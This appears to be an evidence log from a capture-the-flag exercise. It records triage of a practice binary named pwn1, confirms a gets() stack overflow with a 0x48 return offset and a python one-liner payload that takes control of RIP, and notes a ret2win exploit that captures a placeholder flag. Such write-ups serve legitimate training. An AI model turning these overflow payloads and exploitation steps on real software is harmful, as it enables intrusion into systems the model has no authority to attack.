# Evidence E-001 — Binary triage

- **id**: E-001
- **date**: 2026-08-02T00:15:00
- **title**: pwn1 ELF triage (checksec)
- **finding**: ELF 64-bit x86-64, no PIE, NX enabled, partial RELRO, no canary on main
- **repro_command**: `file ./pwn1 && checksec --file=./pwn1`
- **output**:
  ```text
  ./pwn1: ELF 64-bit LSB executable, x86-64, dynamically linked
  RELRO: Partial RELRO
  Stack: No canary found
  NX: NX enabled
  PIE: PIE disabled
  ```
- **path**: Evidence → Finding → Path (skills/ops/evidence-finding-path.md)

---

# Evidence E-002 — Overflow confirmation

- **id**: E-002
- **date**: 2026-08-02T00:40:00
- **title**: gets() stack overflow in main
- **finding**: main reads into buf[0x40] via gets(); return offset 0x48; no canary
- **repro_command**: `python3 -c "print('A'*0x48 + 'B'*8)" | ./pwn1` (segfault at 0x4242424242424242)
- **output**:
  ```text
  Program received signal SIGSEGV, Segmentation fault.
  RIP=0x4242424242424242
  ```

---

# Evidence E-003 — Flag captured

- **id**: E-003
- **date**: 2026-08-02T01:10:00
- **title**: remote exploit success
- **finding**: ret2win payload works remotely, flag captured
- **repro_command**: `python3 exploit.py REMOTE`
- **output**: `ctf{example_flag_do_not_use}`
